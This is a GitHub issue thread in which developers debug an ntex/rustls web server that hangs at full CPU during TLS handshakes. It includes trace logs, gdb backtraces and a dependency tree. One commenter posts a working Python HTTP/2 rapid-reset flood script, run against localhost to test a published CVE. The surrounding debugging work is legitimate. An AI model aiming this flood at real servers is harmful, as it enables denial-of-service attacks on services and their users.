2023-04-06 12:29:14.885 TRACE rustls::server::hs: we got a clienthello ClientHelloPayload { client_version: TLSv1_2, random: 784de781ed1f0422d34191f94b9c8e850e8692435deb34af8707a23f3d00ddb6, session_id: , cipher_suites: [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA], compression_methods: [Null], extensions: [ServerName([ServerName { typ: HostName, payload: HostName((6261696c6f672e636e, DnsName("bailog.cn"))) }]), CertificateStatusRequest(OCSP(OCSPCertificateStatusRequest { responder_ids: [], extensions: })), NamedGroups([secp256r1, secp384r1, secp521r1]), ECPointFormats([Uncompressed]), SignatureAlgorithms([RSA_PKCS1_SHA512, ECDSA_NISTP521_SHA512, Unknown(1538), RSA_PKCS1_SHA384, ECDSA_NISTP384_SHA384, Unknown(1282), RSA_PKCS1_SHA256, ECDSA_NISTP256_SHA256, Unknown(1026), Unknown(769), Unknown(771), Unknown(770), RSA_PKCS1_SHA1, ECDSA_SHA1_Legacy, Unknown(514), Unknown(257), Unknown(259), Unknown(258)]), Unknown(UnknownExtension { typ: RenegotiationInfo, payload: 00 }), Unknown(UnknownExtension { typ: Heartbeat, payload: 01 }), SignedCertificateTimestampRequest] }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/hs.rs:456 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.885 TRACE rustls::server::server_conn: sni Some(DnsName("bailog.cn"))
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/server_conn.rs:127 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::server_conn: sig schemes [RSA_PKCS1_SHA512, ECDSA_NISTP521_SHA512, Unknown(1538), RSA_PKCS1_SHA384, ECDSA_NISTP384_SHA384, Unknown(1282), RSA_PKCS1_SHA256, ECDSA_NISTP256_SHA256, Unknown(1026), Unknown(769), Unknown(771), Unknown(770), RSA_PKCS1_SHA1, ECDSA_SHA1_Legacy, Unknown(514), Unknown(257), Unknown(259), Unknown(258)]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/server_conn.rs:128 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::server_conn: alpn protocols None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/server_conn.rs:129 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::server_conn: cipher suites [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/server_conn.rs:130 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 DEBUG rustls::server::hs: decided upon suite TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/hs.rs:382 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::tls12::client_hello: namedgroups [secp256r1, secp384r1, secp521r1]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/tls12.rs:83 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::tls12::client_hello: ecpoints [Uncompressed]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/tls12.rs:84 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::tls12::client_hello: sending server hello Message { version: TLSv1_2, payload: Handshake { parsed: HandshakeMessagePayload { typ: ServerHello, payload: ServerHello(ServerHelloPayload { legacy_version: TLSv1_2, random: 4de416c0718e2857048a878e960e7465ae7a3dfc94b7e6ba444f574e47524401, session_id: 1612b15c3fbceff12f88bcefcba19f3bb2574bda0f71b049c6d22c5b58a4dca4, cipher_suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, compression_method: Null, extensions: [ServerNameAck, RenegotiationInfo()] }) }, encoded: 0200005103034de416c0718e2857048a878e960e7465ae7a3dfc94b7e6ba444f574e47524401201612b15c3fbceff12f88bcefcba19f3bb2574bda0f71b049c6d22c5b58a4dca4c02f00000900000000ff01000100 } }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/tls12.rs:352 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.887 TRACE ntex_io::tasks: new 177 bytes available, wakeup dispatcher
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/tasks.rs:55 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.887 TRACE ntex_io::io: waking up io read task
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/io.rs:430 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.986 TRACE ntex_io::tasks: new 7 bytes available, wakeup dispatcher
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/tasks.rs:55 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.986 TRACE ntex_io::io: waking up io read task
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/io.rs:430 on ntex-rt:worker:0 ThreadId(3)After that point it outputs things like these and cannot finish request processing:
2023-04-06 12:35:07.901 TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:180 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling::epoll: modify: epoll_fd=12, fd=13, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE ntex::server::accept: Accepting connection: Tcp(TcpStream { addr: 64.176.37.168:443, peer: 192.241.195.46:53864, fd: 22 }) bp: false
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/accept.rs:376 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE ntex::server::accept: Sent to worker 0
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/accept.rs:411 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling::epoll: modify: epoll_fd=12, fd=16, ev=Event { key: 1, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling: Poller::wait(_, None)
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/lib.rs:489 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling::epoll: wait: epoll_fd=12, timeout=None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:122 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling::epoll: modify: epoll_fd=12, fd=14, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:18.017 TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:180 on ntex-server accept loop ThreadId(4)Can you log requests when it's happening ? I tried to reproduce it on my server that have kind of similar setup by ddosing it but i wasn't able to reproduce it. The cpu usage was arround 10% there is my code https://github.com/nxthat/nhsf the only difference i see is the TLS can you try with openssl instead of rustls ?
I use ntex on a single core VPS running Ubuntu 22.04. I'll try with openssl.
leon3s
commented
1 year ago I meant the HTTP requests
clia
commented
1 year ago I meant the HTTP requests
I have setted the log level to trace, but the request that causing this problem couldn't be outputed.
leon3s
commented
1 year ago What if you use a custom Middleware or put it binding a nginx that will log them ? You can remove nginx afterward it's just to be able to log http requests. We need to gather information somehow..
leon3s
commented
1 year ago https://github.com/advisories/GHSA-f8vr-r385-rh5r
This may be the issue since ntex use a forked version of hyperium/h2 I believe.
fafhrd91
commented
1 year ago ntex-h2 uses only codec from h2, protocol control plain is different. but we need to try to reproduce the problem
clia
commented
1 year ago blog-server.log.2023-04-11.log
Yestoday on my another server it happened again, after over two weeks. It's also a single core server running Ubuntu 22.04.
This is the full trace log of yestoday. It happened around 12:44.
leon3s
commented
1 year ago This is my attempt to reproduce the CVE, not totally sure about it tho:
import socket
import ssl
import certifi
import h2.connection
import h2.events
import _thread
SERVER_NAME = '127.0.0.1'
SERVER_PORT = 8443
# generic socket and ssl configuration
socket.setdefaulttimeout(15)
ctx = ssl.create_default_context(cafile=certifi.where())
ctx.set_alpn_protocols(['h2'])
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_verify_locations("cert.pem")
# open a socket to the server and initiate TLS/SSL
s = socket.create_connection((SERVER_NAME, SERVER_PORT))
s = ctx.wrap_socket(s, server_hostname=SERVER_NAME)
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
def headers(h2_conn, stream_id):
headers = [
(':method', 'GET'),
(':path', '/'),
(':authority', SERVER_NAME),
(':scheme', 'https'),
('accept-encoding', 'gzip, deflate, br')
]
h2_conn.send_headers(stream_id, headers)
def rst_stream(h2_conn, stream_id):
h2_conn.reset_stream(stream_id)
def reset_flood(h2_conn):
for i in range(1, 20000):
if i % 2 == 0:
continue
headers(h2_conn, i)
rst_stream(h2_conn, i)
def send(thread_name):
while True:
# send a GET request with headers and reset stream
print(f"{thread_name}: Sending request")
stream_id = c.get_next_available_stream_id()
headers(c, stream_id)
data = c.data_to_send()
s.sendall(data)
reset_flood(c)
if __name__ == '__main__':
for i in range(0, 400):
try:
_thread.start_new_thread(send, ("Thread-" + str(i),))
except:
print("Error: Can not start thread")
while True:
pass
# close the connection and socket
c.close_connection()
s.sendall(c.data_to_send())
s.close()
I tested it against rustls and openssl implementation from the examples and it's doesn't seems that ntex is affected.
leon3s
commented
1 year ago blog-server.log.2023-04-11.log
Yestoday on my another server it happened again, after over two weeks. It's also a single core server running Ubuntu 22.04.
This is the full trace log of yestoday. It happened around 12:44.
Looks like you are getting scanned:
[2m2023-04-11 12:34:14.480[0m [32m INFO[0m [1;32mntex::web::middleware::logger[0m[32m: [32m205.210.31.161:50126 "GET / HTTP/1.0" 200 552 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 0.001050[0mBut i don't see any request flooding that's weird
clia
commented
1 year ago Is is similar to this issue: https://github.com/ntex-rs/ntex/issues/103
fafhrd91
commented
1 year ago could you try openssl instead if rustls?
clia
commented
1 year ago some hint from rustls: https://github.com/rustls/rustls/issues/1283#issuecomment-1642009420
luyikk
commented
10 months ago I also encountered this issue, which 100% thread stack information is this!! o(╥﹏╥)o
#0 0x000055dfe1a2c5a6 in rustls::common_state::CommonState::is_handshaking ()
#1 0x000055dfe1811c6a in rustls::conn::ConnectionCommon<Data>::complete_io ()
#2 0x000055dfe18195b7 in ntex_io::buf::Stack::write_buf::{{closure}} ()
#3 0x000055dfe181cdc1 in <ntex_tls::rustls::TlsAcceptor as ntex_io::FilterFactory<F>>::create::{{closure}} ()
#4 0x000055dfe1821276 in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#5 0x000055dfe17d1569 in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
#6 0x000055dfe1823147 in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#7 0x000055dfe17e495c in <ntex::server::service::StreamService<T> as ntex_service::Service<(core::option::Option<ntex::server::counter::CounterGuard>,ntex::server::service::ServerMessage)>>::call::{{closure}} ()
#8 0x000055dfe18cab21 in <ntex_service::pipeline::PipelineCall<S,R> as core::future::future::Future>::poll ()
#9 0x000055dfe18e075e in <ntex::server::worker::Worker as core::future::future::Future>::poll::{{closure}} ()
#10 0x0000000000000002 in ?? ()
#11 0x00007f5eb0cb1120 in ?? ()
#12 0x00007f5eb0cb11c0 in ?? ()
#13 0x0000000000000001 in ?? ()
#14 0x000055dfe18c4537 in tokio::runtime::task::raw::poll ()
#15 0x000055dfe1c0b8ab in tokio::task::local::LocalSet::tick ()
#16 0x000055dfe1a9cebc in tokio::task::local::LocalSet::run_until::{{closure}} ()
#17 0x000055dfe1a99969 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#18 0x000055dfe1a9a9a9 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#19 0x000055dfe1d44d15 in alloc::boxed::{impl#47}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#20 alloc::boxed::{impl#47}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#21 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#22 0x00007f5ef93feac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#23 0x00007f5ef9490a40 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
It's a dead cycle ~!
fafhrd91
commented
10 months ago I released ntex-tls v0.3.3, it may fix the problem, but I am not sure. it is hard to fix without way to reproduce
luyikk
commented
10 months ago Already under testing.. waiting for test results.. thanks
luyikk
commented
10 months ago After a day of debugging,the problem persists.
Here is the thread call stack:
(gdb) thread 4
[Switching to thread 4 (Thread 0x7f2e907a1000 (LWP 1953846))]
#0 0x0000564b1405a610 in rustls::common_state::CommonState::is_handshaking ()
(gdb) bt
#0 0x0000564b1405a610 in rustls::common_state::CommonState::is_handshaking ()
#1 0x0000564b13e279e0 in rustls::conn::ConnectionCommon<Data>::complete_io ()
#2 0x0000564b13e2f68e in ntex_io::buf::Stack::write_buf::{{closure}} ()
#3 0x0000564b13e32dca in <ntex_tls::rustls::TlsAcceptor as ntex_io::FilterFactory<F>>::create::{{closure}} ()
#4 0x0000564b13e38f86 in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#5 0x0000564b13de6bf9 in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
#6 0x0000564b13e37a67 in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#7 0x0000564b13dfd2dc in <ntex::server::service::StreamService<T> as ntex_service::Service<(core::option::Option<ntex::server::counter::CounterGuard>,ntex::server::service::ServerMessage)>>::call::{{closure}} ()
#8 0x0000564b13ee4911 in <ntex_service::pipeline::PipelineCall<S,R> as core::future::future::Future>::poll ()
#9 0x0000564b13efe4ce in <ntex::server::worker::Worker as core::future::future::Future>::poll::{{closure}} ()
#10 0x0000000000000002 in ?? ()
#11 0x00007f2e8803daa0 in ?? ()
#12 0x00007f2e8803db40 in ?? ()
#13 0x0000000000000001 in ?? ()
#14 0x0000564b13edd5b7 in tokio::runtime::task::raw::poll ()
#15 0x0000564b1424ed8b in tokio::task::local::LocalSet::tick ()
#16 0x0000564b140de9c7 in tokio::task::local::LocalSet::run_until::{{closure}} ()
#17 0x0000564b140db0a9 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#18 0x0000564b140dc0de in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#19 0x0000564b14389ae5 in alloc::boxed::{impl#47}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#20 alloc::boxed::{impl#47}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#21 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#22 0x00007f2ec85fdac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#23 0x00007f2ec868fa40 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81cargo tree:
├── aes-gcm v0.10.3
│ ├── aead v0.5.2
│ │ ├── crypto-common v0.1.6
│ │ │ ├── generic-array v0.14.7
│ │ │ │ └── typenum v1.17.0
│ │ │ │ [build-dependencies]
│ │ │ │ └── version_check v0.9.4
│ │ │ ├── rand_core v0.6.4
│ │ │ │ └── getrandom v0.2.11
│ │ │ │ ├── cfg-if v1.0.0
│ │ │ │ └── libc v0.2.150
│ │ │ └── typenum v1.17.0
│ │ └── generic-array v0.14.7 (*)
│ ├── aes v0.8.3
│ │ ├── cfg-if v1.0.0
│ │ ├── cipher v0.4.4
│ │ │ ├── crypto-common v0.1.6 (*)
│ │ │ └── inout v0.1.3
│ │ │ └── generic-array v0.14.7 (*)
│ │ └── cpufeatures v0.2.11
│ ├── cipher v0.4.4 (*)
│ ├── ctr v0.9.2
│ │ └── cipher v0.4.4 (*)
│ ├── ghash v0.5.0
│ │ ├── opaque-debug v0.3.0
│ │ └── polyval v0.6.1
│ │ ├── cfg-if v1.0.0
│ │ ├── cpufeatures v0.2.11
│ │ ├── opaque-debug v0.3.0
│ │ └── universal-hash v0.5.1
│ │ ├── crypto-common v0.1.6 (*)
│ │ └── subtle v2.5.0
│ └── subtle v2.5.0
├── anyhow v1.0.75
├── aqueue v1.3.5
│ ├── async-lock v2.6.0
│ │ ├── event-listener v2.5.3
│ │ └── futures-lite v1.13.0
│ │ ├── fastrand v1.9.0
│ │ ├── futures-core v0.3.29
│ │ ├── futures-io v0.3.29
│ │ ├── memchr v2.6.4
│ │ ├── parking v2.2.0
│ │ ├── pin-project-lite v0.2.13
│ │ └── waker-fn v1.1.1
│ └── async-trait v0.1.74 (proc-macro)
│ ├── proc-macro2 v1.0.69
│ │ └── unicode-ident v1.0.12
│ ├── quote v1.0.33
│ │ └── proc-macro2 v1.0.69 (*)
│ └── syn v2.0.39
│ ├── proc-macro2 v1.0.69 (*)
│ ├── quote v1.0.33 (*)
│ └── unicode-ident v1.0.12
├── async-trait v0.1.74 (proc-macro) (*)
├── base64 v0.21.5
├── clap v4.4.8
│ ├── clap_builder v4.4.8
│ │ ├── anstream v0.6.4
│ │ │ ├── anstyle v1.0.4
│ │ │ ├── anstyle-parse v0.2.2
│ │ │ │ └── utf8parse v0.2.1
│ │ │ ├── anstyle-query v1.0.0
│ │ │ ├── colorchoice v1.0.0
│ │ │ └── utf8parse v0.2.1
│ │ ├── anstyle v1.0.4
│ │ ├── clap_lex v0.6.0
│ │ └── strsim v0.10.0
│ └── clap_derive v4.4.7 (proc-macro)
│ ├── heck v0.4.1
│ ├── proc-macro2 v1.0.69 (*)
│ ├── quote v1.0.33 (*)
│ └── syn v2.0.39 (*)
├── clia-ntex-cors v0.4.0
│ ├── derive_more v0.99.17 (proc-macro)
│ │ ├── convert_case v0.4.0
│ │ ├── proc-macro2 v1.0.69 (*)
│ │ ├── quote v1.0.33 (*)
│ │ └── syn v1.0.109
│ │ ├── proc-macro2 v1.0.69 (*)
│ │ ├── quote v1.0.33 (*)
│ │ └── unicode-ident v1.0.12
│ │ [build-dependencies]
│ │ └── rustc_version v0.4.0
│ │ └── semver v1.0.20
│ ├── futures v0.3.29
│ │ ├── futures-channel v0.3.29
│ │ │ ├── futures-core v0.3.29
│ │ │ └── futures-sink v0.3.29
│ │ ├── futures-core v0.3.29
│ │ ├── futures-executor v0.3.29
│ │ │ ├── futures-core v0.3.29
│ │ │ ├── futures-task v0.3.29
│ │ │ └── futures-util v0.3.29
│ │ │ ├── futures-channel v0.3.29 (*)
│ │ │ ├── futures-core v0.3.29
│ │ │ ├── futures-io v0.3.29
│ │ │ ├── futures-macro v0.3.29 (proc-macro)
│ │ │ │ ├── proc-macro2 v1.0.69 (*)
│ │ │ │ ├── quote v1.0.33 (*)
│ │ │ │ └── syn v2.0.39 (*)
│ │ │ ├── futures-sink v0.3.29
│ │ │ ├── futures-task v0.3.29
│ │ │ ├── memchr v2.6.4
│ │ │ ├── pin-project-lite v0.2.13
│ │ │ ├── pin-utils v0.1.0
│ │ │ └── slab v0.4.9
│ │ │ [build-dependencies]
│ │ │ └── autocfg v1.1.0
│ │ ├── futures-io v0.3.29
│ │ ├── futures-sink v0.3.29
│ │ ├── futures-task v0.3.29
│ │ └── futures-util v0.3.29 (*)
│ └── ntex v0.7.10
│ ├── async-channel v2.1.0
│ │ ├── concurrent-queue v2.3.0
│ │ │ └── crossbeam-utils v0.8.16
│ │ │ └── cfg-if v1.0.0
│ │ ├── event-listener v3.1.0
│ │ │ ├── concurrent-queue v2.3.0 (*)
│ │ │ ├── parking v2.2.0
│ │ │ └── pin-project-lite v0.2.13
│ │ ├── event-listener-strategy v0.3.0
│ │ │ ├── event-listener v3.1.0 (*)
│ │ │ └── pin-project-lite v0.2.13
│ │ ├── futures-core v0.3.29
│ │ └── pin-project-lite v0.2.13
│ ├── async-oneshot v0.5.0
│ │ └── futures-micro v0.5.0
│ │ └── pin-project-lite v0.2.13
│ ├── base64 v0.21.5
│ ├── bitflags v2.4.1
│ ├── brotli2 v0.3.2
│ │ ├── brotli-sys v0.3.2
│ │ │ └── libc v0.2.150
│ │ │ [build-dependencies]
│ │ │ └── cc v1.0.84
│ │ │ └── libc v0.2.150
│ │ └── libc v0.2.150
│ ├── encoding_rs v0.8.33
│ │ └── cfg-if v1.0.0
│ ├── flate2 v1.0.28
│ │ ├── crc32fast v1.3.2
│ │ │ └── cfg-if v1.0.0
│ │ └── miniz_oxide v0.7.1
│ │ ├── adler v1.0.2
│ │ └── simd-adler32 v0.3.7
│ ├── httparse v1.8.0
│ ├── httpdate v1.0.3
│ ├── log v0.4.20
│ ├── mime v0.3.17
│ ├── nanorand v0.7.0
│ ├── ntex-bytes v0.1.21
│ │ ├── bitflags v2.4.1
│ │ ├── bytes v1.5.0
│ │ ├── futures-core v0.3.29
│ │ └── serde v1.0.192
│ │ └── serde_derive v1.0.192 (proc-macro)
│ │ ├── proc-macro2 v1.0.69 (*)
│ │ ├── quote v1.0.33 (*)
│ │ └── syn v2.0.39 (*)
│ ├── ntex-codec v0.6.2
│ │ └── ntex-bytes v0.1.21 (*)
│ ├── ntex-connect v0.3.2
│ │ ├── log v0.4.20
│ │ ├── ntex-bytes v0.1.21 (*)
│ │ ├── ntex-http v0.1.10
│ │ │ ├── fxhash v0.2.1
│ │ │ │ └── byteorder v1.5.0
│ │ │ ├── http v0.2.10
│ │ │ │ ├── bytes v1.5.0
│ │ │ │ ├── fnv v1.0.7
│ │ │ │ └── itoa v1.0.9
│ │ │ ├── itoa v1.0.9
│ │ │ ├── log v0.4.20
│ │ │ └── ntex-bytes v0.1.21 (*)
│ │ ├── ntex-io v0.3.7
│ │ │ ├── bitflags v2.4.1
│ │ │ ├── log v0.4.20
│ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ ├── ntex-codec v0.6.2 (*)
│ │ │ ├── ntex-service v1.2.7
│ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ └── slab v0.4.9 (*)
│ │ │ ├── ntex-util v0.3.4
│ │ │ │ ├── bitflags v2.4.1
│ │ │ │ ├── futures-core v0.3.29
│ │ │ │ ├── futures-sink v0.3.29
│ │ │ │ ├── futures-timer v3.0.2
│ │ │ │ ├── fxhash v0.2.1 (*)
│ │ │ │ ├── log v0.4.20
│ │ │ │ ├── ntex-rt v0.4.10
│ │ │ │ │ ├── async-channel v2.1.0 (*)
│ │ │ │ │ ├── async-oneshot v0.5.0 (*)
│ │ │ │ │ ├── futures-core v0.3.29
│ │ │ │ │ ├── log v0.4.20
│ │ │ │ │ └── tokio v1.34.0
│ │ │ │ │ ├── bytes v1.5.0
│ │ │ │ │ ├── libc v0.2.150
│ │ │ │ │ ├── mio v0.8.9
│ │ │ │ │ │ └── libc v0.2.150
│ │ │ │ │ ├── num_cpus v1.16.0
│ │ │ │ │ │ └── libc v0.2.150
│ │ │ │ │ ├── parking_lot v0.12.1
│ │ │ │ │ │ ├── lock_api v0.4.11
│ │ │ │ │ │ │ └── scopeguard v1.2.0
│ │ │ │ │ │ │ [build-dependencies]
│ │ │ │ │ │ │ └── autocfg v1.1.0
│ │ │ │ │ │ └── parking_lot_core v0.9.9
│ │ │ │ │ │ ├── cfg-if v1.0.0
│ │ │ │ │ │ ├── libc v0.2.150
│ │ │ │ │ │ └── smallvec v1.11.2
│ │ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ │ ├── signal-hook-registry v1.4.1
│ │ │ │ │ │ └── libc v0.2.150
│ │ │ │ │ ├── socket2 v0.5.5
│ │ │ │ │ │ └── libc v0.2.150
│ │ │ │ │ └── tokio-macros v2.2.0 (proc-macro)
│ │ │ │ │ ├── proc-macro2 v1.0.69 (*)
│ │ │ │ │ ├── quote v1.0.33 (*)
│ │ │ │ │ └── syn v2.0.39 (*)
│ │ │ │ ├── ntex-service v1.2.7 (*)
│ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ └── slab v0.4.9 (*)
│ │ │ └── pin-project-lite v0.2.13
│ │ ├── ntex-rt v0.4.10 (*)
│ │ ├── ntex-service v1.2.7 (*)
│ │ ├── ntex-tls v0.3.3
│ │ │ ├── log v0.4.20
│ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ ├── ntex-io v0.3.7 (*)
│ │ │ ├── ntex-service v1.2.7 (*)
│ │ │ ├── ntex-util v0.3.4 (*)
│ │ │ ├── pin-project-lite v0.2.13
│ │ │ └── rustls v0.21.8
│ │ │ ├── log v0.4.20
│ │ │ ├── ring v0.17.5
│ │ │ │ ├── getrandom v0.2.11 (*)
│ │ │ │ ├── libc v0.2.150
│ │ │ │ ├── spin v0.9.8
│ │ │ │ │ └── lock_api v0.4.11 (*)
│ │ │ │ └── untrusted v0.9.0
│ │ │ │ [build-dependencies]
│ │ │ │ └── cc v1.0.84 (*)
│ │ │ ├── rustls-webpki v0.101.7
│ │ │ │ ├── ring v0.17.5 (*)
│ │ │ │ └── untrusted v0.9.0
│ │ │ └── sct v0.7.1
│ │ │ ├── ring v0.17.5 (*)
│ │ │ └── untrusted v0.9.0
│ │ ├── ntex-tokio v0.3.1
│ │ │ ├── log v0.4.20
│ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ ├── ntex-io v0.3.7 (*)
│ │ │ ├── ntex-util v0.3.4 (*)
│ │ │ ├── pin-project-lite v0.2.13
│ │ │ └── tokio v1.34.0 (*)
│ │ ├── ntex-util v0.3.4 (*)
│ │ ├── rustls v0.21.8 (*)
│ │ ├── thiserror v1.0.50
│ │ │ └── thiserror-impl v1.0.50 (proc-macro)
│ │ │ ├── proc-macro2 v1.0.69 (*)
│ │ │ ├── quote v1.0.33 (*)
│ │ │ └── syn v2.0.39 (*)
│ │ └── webpki-roots v0.25.2
│ ├── ntex-h2 v0.4.4
│ │ ├── bitflags v2.4.1
│ │ ├── fxhash v0.2.1 (*)
│ │ ├── log v0.4.20
│ │ ├── nanorand v0.7.0
│ │ ├── ntex-bytes v0.1.21 (*)
│ │ ├── ntex-codec v0.6.2 (*)
│ │ ├── ntex-connect v0.3.2 (*)
│ │ ├── ntex-http v0.1.10 (*)
│ │ ├── ntex-io v0.3.7 (*)
│ │ ├── ntex-rt v0.4.10 (*)
│ │ ├── ntex-service v1.2.7 (*)
│ │ ├── ntex-util v0.3.4 (*)
│ │ ├── pin-project-lite v0.2.13
│ │ └── thiserror v1.0.50 (*)
│ ├── ntex-http v0.1.10 (*)
│ ├── ntex-io v0.3.7 (*)
│ ├── ntex-macros v0.1.3 (proc-macro)
│ │ ├── proc-macro2 v1.0.69 (*)
│ │ ├── quote v1.0.33 (*)
│ │ └── syn v1.0.109 (*)
│ ├── ntex-router v0.5.2
│ │ ├── http v0.2.10 (*)
│ │ ├── log v0.4.20
│ │ ├── ntex-bytes v0.1.21 (*)
│ │ ├── regex v1.10.2
│ │ │ ├── aho-corasick v1.1.2
│ │ │ │ └── memchr v2.6.4
